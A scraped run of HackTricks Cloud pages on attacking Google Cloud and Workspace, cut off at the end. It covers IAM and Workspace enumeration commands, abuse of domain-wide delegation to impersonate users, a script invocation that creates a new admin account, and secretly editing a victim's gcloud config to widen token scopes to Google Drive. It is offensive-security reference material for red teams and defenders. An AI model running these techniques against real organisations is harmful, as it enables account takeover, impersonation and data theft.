(ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. One way to discover public cloud resources that belongs to a company is to scrape their webs looking for them. Tools like [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) will scrape the web an search for **links to public cloud resources** (in this case this tools searches `['amazonaws.com', 'digitaloceanspaces.com', 'windows.net', 'storage.googleapis.com', 'aliyuncs.com']`) Note that other cloud resources could be searched for and that some times these resources are hidden behind **subdomains that are pointing them via CNAME registry**. * [https://github.com/initstring/cloud\_enum](https://github.com/initstring/cloud_enum) : This tool in GCP brute-force Buckets, Firebase Realtime Databases, Google App Engine sites, and Cloud Functions * [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute) : This tool in GCP brute-force Buckets and Apps. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - IAM, Principals & Org Policies Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For an intro about what is a service account check: [GCP - Basic Information](../gcp-basic-information/index.html) A service account always belongs to a project: bash gcloud iam service-accounts list --project For an intro about how Users & Groups work in GCP check: [GCP - Basic Information](../gcp-basic-information/index.html) With the permissions **`serviceusage.services.enable`** and **`serviceusage.services.use`** it's possible to **enable services** in a project and use them. caution Note that by default, Workspace users are granted the role **Project Creator**, giving them access to **create new projects**. When a user creates a project, he is granted the **`owner`** role over it. So, he could **enable these services over the project to be able to enumerate Workspace**. However, notice that it's also needed to have **enough permissions in Workspace** to be able to call these APIs. If you can **enable the `admin` service** and if your user has **enough privileges in workspace,** you could **enumerate all groups & users** with the following lines. Even if it says **`identity groups`**, it also returns **users without any groups**: bash # Enable admin gcloud services enable admin.googleapis.com gcloud services enable cloudidentity.googleapis.com # Using admin.googleapis.com ## List all users gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID gcloud beta identity groups preview --customer # Using cloudidentity.googleapis.com ## List groups of a user (you can list at least the groups you belong to) gcloud identity groups memberships search-transitive-groups --member-email --labels=cloudidentity.googleapis.com/groups.discussion_forum ## List Group Members (you can list at least the groups you belong to) gcloud identity groups memberships list --group-email= ### Make it transitive gcloud identity groups memberships search-transitive-memberships --group-email= ## Get a graph (if you have enough permissions) gcloud identity groups memberships get-membership-graph --member-email= --labels=cloudidentity.googleapis.com/groups.discussion_forum tip In the previous examples the param `--labels` is required, so a generic value is used (it's not requires if you used the API directly like [**PurplePanda does in here**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py) . Even with the admin service enable, it's possible that you get an error enumerating them because your compromised workspace user doesn't have enough permissions: ![](../../../images/image (193).png) Check [**this for basic information about IAM**](../gcp-basic-information/index.html#iam-roles) . From the [**docs**](https://cloud.google.com/resource-manager/docs/default-access-control) : When an organization resource is created, all users in your domain are granted the **Billing Account Creator** and **Project Creator** roles by default. These default roles allow your users to start using Google Cloud immediately, but are not intended for use in regular operation of your organization resource. These **roles** grant the **permissions**: * `billing.accounts.create` and `resourcemanager.organizations.get` * `resourcemanager.organizations.get` and `resourcemanager.projects.create` Moreover, when a user creates a project, he is **granted owner of that project automatically** according to the [docs](https://cloud.google.com/resource-manager/docs/access-control-proj) . Therefore, by default, a user will be able to create a project and run any service on it (miners? Workspace enumeration? ...) caution The highest privilege in a GCP Organization is the **Organization Administrator** role. In most of the services you will be able to change the permissions over a resource using the method **`add-iam-policy-binding`** or **`set-iam-policy`**. The main difference is that **`add-iam-policy-binding` adds a new role binding** to the existent IAM policy while **`set-iam-policy`** will **delete the previously** granted permissions and **set only the ones** indicated in the command. bash # Roles ## List roles gcloud iam roles list --project $PROJECT_ID # List only custom roles gcloud iam roles list --filter='etag:AA==' ## Get perms and description of role gcloud iam roles describe roles/container.admin gcloud iam roles describe --project # Policies gcloud organizations get-iam-policy gcloud resource-manager folders get-iam-policy gcloud projects get-iam-policy # MISC ## Testable permissions in resource gcloud iam list-testable-permissions --filter "NOT apiDisabled: true" ## Grantable roles to a resource gcloud iam list-grantable-roles There are different ways to check all the permissions of a user in different resources (such as organizations, folders, projects...) using this service. * The permission **`cloudasset.assets.searchAllIamPolicies`** can request **all the iam policies** inside a resource. bash gcloud asset search-all-iam-policies #By default uses current configured project gcloud asset search-all-iam-policies --scope folders/1234567 gcloud asset search-all-iam-policies --scope organizations/123456 gcloud asset search-all-iam-policies --scope projects/project-id-123123 * The permission **`cloudasset.assets.analyzeIamPolicy`** can request **all the iam policies** of a principal inside a resource. bash # Needs perm "cloudasset.assets.analyzeIamPolicy" over the asset gcloud asset analyze-iam-policy --organization= \ --identity='user:email@hacktricks.xyz' gcloud asset analyze-iam-policy --folder= \ --identity='user:email@hacktricks.xyz' gcloud asset analyze-iam-policy --project= \ --identity='user:email@hacktricks.xyz' * The permission **`cloudasset.assets.searchAllResources`** allows listing all resources of an organization, folder, or project. IAM related resources (like roles) included. bash gcloud asset search-all-resources --scope projects/ gcloud asset search-all-resources --scope folders/1234567 gcloud asset search-all-resources --scope organizations/123456 * The permission **`cloudasset.assets.analyzeMove`** but be useful to also retrieve policies affecting a resource like a project bash gcloud asset analyze-move --project= \ --destination-organization=609216679593 * I suppose the permission **`cloudasset.assets.queryIamPolicy`** could also give access to find permissions of principals bash # But, when running something like this gcloud asset query --project= --statement='SELECT * FROM compute_googleapis_com_Instance' # I get the error ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported for SCC premium customers. See https://cloud.google.com/security-command-center/pricing caution If you **cannot access IAM information** using the previous methods and you are in a Red Team. You could **use the tool** [**https://github.com/carlospolop/bf\_my\_gcp\_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **to brute-force your current permissions.** However, note that the service **`cloudresourcemanager.googleapis.com`** needs to be enabled. In the following page you can check how to **abuse IAM permissions to escalate privileges**: [GCP - IAM Privesc](../gcp-privilege-escalation/gcp-iam-privesc.html) ### [](#service-account-impersonation) [GCP - IAM, Principals & Org Unauthenticated Enum](../gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.html) ### [](#service-account-impersonation) [GCP - IAM Post Exploitation](../gcp-post-exploitation/gcp-iam-post-exploitation.html) If you have high privileges you could: * Create new SAs (or users if in Workspace) * Give principals controlled by yourself more permissions * Give more privileges to vulnerable SAs (SSRF in vm, vuln Cloud Function…) * … For an intro about what Org Policies are check: [GCP - Basic Information](../gcp-basic-information/index.html) The IAM policies indicate the permissions principals has over resources via roles, which are assigned granular permissions. Organization policies **restrict how those services can be used or which features are disabled**. This helps in order to improve the least privilege of each resource in the GCP environment. bash gcloud resource-manager org-policies list --organization=ORGANIZATION_ID gcloud resource-manager org-policies list --folder=FOLDER_ID gcloud resource-manager org-policies list --project=PROJECT_ID In the following page you can check how to **abuse org policies permissions to escalate privileges**: [GCP - Orgpolicy Privesc](../gcp-privilege-escalation/gcp-orgpolicy-privesc.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP <--> Workspace Pivoting - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 10 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Google Workspace's Domain-Wide delegation allows an identity object, either an **external app** from Google Workspace Marketplace or an internal **GCP Service Account**, to **access data across the Workspace on behalf of users**. note This basically means that **service accounts** inside GCP projects of an organization might be able to i**mpersonate Workspace users** of the same organization (or even from a different one). For more information about how this exactly works check: [GCP - Understanding Domain-Wide Delegation](gcp-understanding-domain-wide-delegation.html) If an attacker **compromised some access over GCP** and **known a valid Workspace user email** (preferably **super admin**) of the company, he could **enumerate all the projects** he has access to, **enumerate all the SAs** of the projects, check to which **service accounts he has access to**, and **repeat** all these steps with each SA he can impersonate. With a **list of all the service accounts** he has **access** to and the list of **Workspace** **emails**, the attacker could try to **impersonate user with each service account**. caution Note that when configuring the domain wide delegation no Workspace user is needed, therefore just know **one valid one is enough and required for the impersonation**. However, the **privileges of the impersonated user will be used**, so if it's Super Admin you will be able to access everything. If it doesn't have any access this will be useless. #### [GCP Generate Delegation Token](https://github.com/carlospolop/gcp_gen_delegation_token) This simple script will **generate an OAuth token as the delegated user** that you can then use to access other Google APIs with or without `gcloud`: bash # Impersonate indicated user python3 gen_delegation_token.py --user-email --key-file # Impersonate indicated user and add additional scopes python3 gen_delegation_token.py --user-email --key-file --scopes "https://www.googleapis.com/auth/userinfo.email, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/admin.directory.group, https://www.googleapis.com/auth/admin.directory.user, https://www.googleapis.com/auth/admin.directory.domain, https://mail.google.com/, https://www.googleapis.com/auth/drive, openid" #### [**DeleFriend**](https://github.com/axon-git/DeleFriend) This is a tool that can perform the attack following these steps: 1. **Enumerate GCP Projects** using Resource Manager API. 2. Iterate on each project resource, and **enumerate GCP Service account resources** to which the initial IAM user has access using _GetIAMPolicy_. 3. Iterate on **each service account role**, and find built-in, basic, and custom roles with _**serviceAccountKeys.create**_ permission on the target service account resource. It should be noted that the Editor role inherently possesses this permission. 4. Create a **new `KEY_ALG_RSA_2048`** private key to each service account resource which is found with relevant permission in the IAM policy. 5. Iterate on **each new service account and create a `JWT`** **object** for it which is composed of the SA private key credentials and an OAuth scope. The process of creating a new _JWT_ object will **iterate on all the existing combinations of OAuth scopes** from **oauth\_scopes.txt** list, in order to find all the delegation possibilities. The list **oauth\_scopes.txt** is updated with all of the OAuth scopes we’ve found to be relevant for abusing Workspace identities. 6. The `_make_authorization_grant_assertion` method reveals the necessity to declare a t**arget workspace user**, referred to as _subject_, for generating JWTs under DWD. While this may seem to require a specific user, it's important to realize that **DWD influences every identity within a domain**. Consequently, creating a JWT for **any domain user** affects all identities in that domain, consistent with our combination enumeration check. Simply put, one valid Workspace user is adequate to move forward. This user can be defined in DeleFriend’s _config.yaml_ file. If a target workspace user is not already known, the tool facilitates the automatic identification of valid workspace users by scanning domain users with roles on GCP projects. It's key to note (again) that JWTs are domain-specific and not generated for every user; hence, the automatic process targets a single unique identity per domain. 7. **Enumerate and create a new bearer access token** for each JWT and validate the token against tokeninfo API. #### [Gitlab's Python script](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_misc/-/blob/master/gcp_delegation.py) Gitlab've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account while indicating a json with SA credentials and the user to impersonate. Here is how you would use it: bash # Install requirements pip install --upgrade --user oauth2client # Validate access only ./gcp_delegation.py --keyfile ./credentials.json \ --impersonate steve.admin@target-org.com \ --domain target-org.com # List the directory ./gcp_delegation.py --keyfile ./credentials.json \ --impersonate steve.admin@target-org.com \ --domain target-org.com \ --list # Create a new admin account ./gcp_delegation.py --keyfile ./credentials.json \ --impersonate steve.admin@target-org.com \ --domain target-org.com \ --account pwned It's possible to **check Domain Wide Delegations in** [**https://admin.google.com/u/1/ac/owl/domainwidedelegation**](https://admin.google.com/u/1/ac/owl/domainwidedelegation) **.** An attacker with the ability to **create service accounts in a GCP project** and **super admin privilege to GWS could create a new delegation allowing SAs to impersonate some GWS users:** 1. **Generating a New Service Account and Corresponding Key Pair:** On GCP, new service account resources can be produced either interactively via the console or programmatically using direct API calls and CLI tools. This requires the **role `iam.serviceAccountAdmin`** or any custom role equipped with the **`iam.serviceAccounts.create`** **permission**. Once the service account is created, we'll proceed to generate a **related key pair** (**`iam.serviceAccountKeys.create`** permission). 2. **Creation of new delegation**: It's important to understand that **only the Super Admin role possesses the capability to set up global Domain-Wide delegation in Google Workspace** and Domain-Wide delegation **cannot be set up programmatically,** It can only be created and adjusted **manually** through the Google Workspace **console**. * The creation of the rule can be found under the page **API controls → Manage Domain-Wide delegation in Google Workspace Admin console**. 3. **Attaching OAuth scopes privilege**: When configuring a new delegation, Google requires only 2 parameters, the Client ID, which is the **OAuth ID of the GCP Service Account** resource, and **OAuth scopes** that define what API calls the delegation requires. * The **full list of OAuth scopes** can be found [**here**](https://developers.google.com/identity/protocols/oauth2/scopes) , but here is a recommendation: `https://www.googleapis.com/auth/userinfo.email, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/admin.directory.group, https://www.googleapis.com/auth/admin.directory.user, https://www.googleapis.com/auth/admin.directory.domain, https://mail.google.com/, https://www.googleapis.com/auth/drive, openid` 4. **Acting on behalf of the target identity:** At this point, we have a functioning delegated object in GWS. Now, **using the GCP Service Account private key, we can perform API calls** (in the scope defined in the OAuth scope parameter) to trigger it and **act on behalf of any identity that exists in Google Workspace**. As we learned, the service account will generate access tokens per its needs and according to the permission he has to REST API applications. * Check the **previous section** for some **tools** to use this delegation. OAuth SA ID is global and can be used for **cross-organizational delegation**. There has been no restriction implemented to prevent cross-global delegation. In simple terms, **service accounts from different GCP organizations can be used to configure domain-wide delegation on other Workspace organizations**. This would result in **only needing Super Admin access to Workspace**, and not access to the same GCP account, as the adversary can create Service Accounts and private keys on his personally controlled GCP account. By **default** Workspace **users** have the permission to **create new projects**, and when a new project is created the **creator gets the Owner role** over it. Therefore, a user can **create a project**, **enable** the **APIs** to enumerate Workspace in his new project and try to **enumerate** it. caution In order for a user to be able to enumerate Workspace he also needs enough Workspace permissions (not every user will be able to enumerate the directory). bash # Create project gcloud projects create --name=proj-name # Set project gcloud config set project # Enable svcs gcloud services enable admin.googleapis.com gcloud services enable cloudidentity.googleapis.com # Get org ID gcloud organizations list # Get currents email user groups (at least you can check the groups and members of the groups you belong to) gcloud identity groups memberships search-transitive-groups --member-email --labels=cloudidentity.googleapis.com/groups.discussion_forum gcloud identity groups memberships list --group-email=g # FROM HERE THE USER NEEDS TO HAVE ENOUGH WORKSPACE ACCESS gcloud beta identity groups preview --customer Check **more enumeration in**: [GCP - IAM, Principals & Org Policies Enum](../gcp-services/gcp-iam-and-org-policies-enum.html) You can find further information about the `gcloud` flow to login in: [GCP - Token Persistence](../gcp-persistence/gcp-non-svc-persistence.html) As explained there, gcloud can request the scope **`https://www.googleapis.com/auth/drive`** which would allow a user to access the drive of the user. As an attacker, if you have compromised **physically** the computer of a user and the **user is still logged** with his account you could login generating a token with access to drive using: bash gcloud auth login --enable-gdrive-access If an attacker compromises the computer of a user he could also modify the file `google-cloud-sdk/lib/googlecloudsdk/core/config.py` and add in the **`CLOUDSDK_SCOPES`** the scope **`'https://www.googleapis.com/auth/drive'`**: ![](../../../images/image (342).png) warning Therefore, the next time the user logs in he will create a **token with access to drive** that the attacker could abuse to access the drive. Obviously, the browser will indicate that the generated token will have access to drive, but as the user will call himself the **`gcloud auth login`**, he probably **won't suspect anything.** To list drive files: **`curl -H "Authorization: Bearer $(gcloud auth print-access-token)" "https://www.googleapis.com/drive/v3/files"`** If an attacker has complete access over GWS he will be able to access groups with privilege access over GCP or even users, therefore moving from GWS to GCP is usually more "simple" just because **users in GWS have high privileges over GCP**. By default users can **freely join Workspace groups of the Organization** and those groups **might have GCP permissions** assigned (check your groups in [https://groups.google.com/](https://groups.google.com/) ). Abusing the **google groups privesc** you might be able to escalate to a group with some kind of privileged access to GCP. * [https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover](https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # GCP - Privilege Escalation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 6 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [](#introduction-to-gcp-privilege-escalation) ---------------------------------------------- GCP, as any other cloud, have some **principals**: users, groups and service accounts, and some **resources** like compute engine, cloud functions… Then, via roles, **permissions are granted to those principals over the resources**. This is the way to specify the permissions a principal has over a resource in GCP. There are certain permissions that will allow a user to **get even more permissions** on the resource or third party resources, and that’s what is called **privilege escalation** (also, the exploitation the vulnerabilities to get more permissions). Therefore, I would like to separate GCP privilege escalation techniques in **2 groups**: * **Privesc to a principal**: This will allow you to **impersonate another principal**, and therefore act like it with all his permissions. e.g.: Abuse _getAccessToken_ to impersonate a service account. * **Privesc on the resource**: This will allow you to **get more permissions over the specific resource**. e.g.: you can abuse _setIamPolicy_ permission over cloudfunctions to allow you to trigger the function. * Note that some **resources permissions will also allow you to attach an arbitrary service account** to the resource. This means that you will be able to launch a resource with a SA, get into the resource, and **steal the SA token**. Therefore, this will allow to escalate to a principal via a resource escalation. This has happened in several resources previously, but now it’s less frequent (but can still happen). Obviously, the most interesting privilege escalation techniques are the ones of the **second group** because it will allow you to **get more privileges outside of the resources you already have** some privileges over. However, note that **escalating in resources** may give you also access to **sensitive information** or even to **other principals** (maybe via reading a secret that contains a token of a SA). warning It's important to note also that in **GCP Service Accounts are both principals and permissions**, so escalating privileges in a SA will allow you to impersonate it also. note The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API. This is how I **test for specific permissions** to perform specific actions inside GCP. 1. Download the github repo [https://github.com/carlospolop/gcp\_privesc\_scripts](https://github.com/carlospolop/gcp_privesc_scripts) 2. Add in tests/ the new script [](#bypassing-access-scopes) ----------------------------- Tokens of SA leakded from GCP metadata service have **access scopes**. These are **restrictions** on the **permissions** that the token has. For example, if the token has the **`https://www.googleapis.com/auth/cloud-platform`** scope, it will have **full access** to all GCP services. However, if the token has the **`https://www.googleapis.com/auth/cloud-platform.read-only`** scope, it will only have **read-only access** to all GCP services even if the SA has more permissions in IAM. There is no direct way to bypass these permissions, but you could always try searching for **new credentials** in the compromised host, **find the service key** to generate an OAuth token without restriction or **jump to a different VM less restricted**. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has. The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OAuth token** without restriction or to **compromise a different VM with a SA less restricted**. Check SA with keys generated with: bash for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do echo "Looking for keys for $i:" gcloud iam service-accounts keys list --iam-account $i done The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other service account/users/groups privileges. Chaining escalations until you have admin access over the organization. warning GCP has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. **The subpages of this section are ordered by services. You can find on each service different ways to escalate privileges on the services.** If you are inside a machine in GCP you might be able to abuse permissions to escalate privileges even locally: [GCP - local privilege escalation ssh pivoting](gcp-local-privilege-escalation-ssh-pivoting.html) * [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) * [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner) * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Post Exploitation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # GWS - Google Platforms Phishing - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 9 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks 